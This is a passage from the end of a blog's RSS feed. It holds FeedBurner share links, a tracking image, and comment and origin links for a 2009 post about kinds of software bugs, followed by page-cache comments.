<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Fk8Z-3rUoTA:PJhZ2q5hj-4:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Fk8Z-3rUoTA:PJhZ2q5hj-4:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Fk8Z-3rUoTA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/09/14/fun-with-bugs-bugs-bugs-if-i-had-them-all-in-jugs-bugbears-bohrbugs-schroedinbugs/</feedburner:origLink></item>
	</channel>
</rss><!-- Dynamic page generated in 1.390 seconds. --><!-- Cached page generated by WP-Super-Cache on 2012-05-20 16:20:17 --><!-- Compression = gzip -->

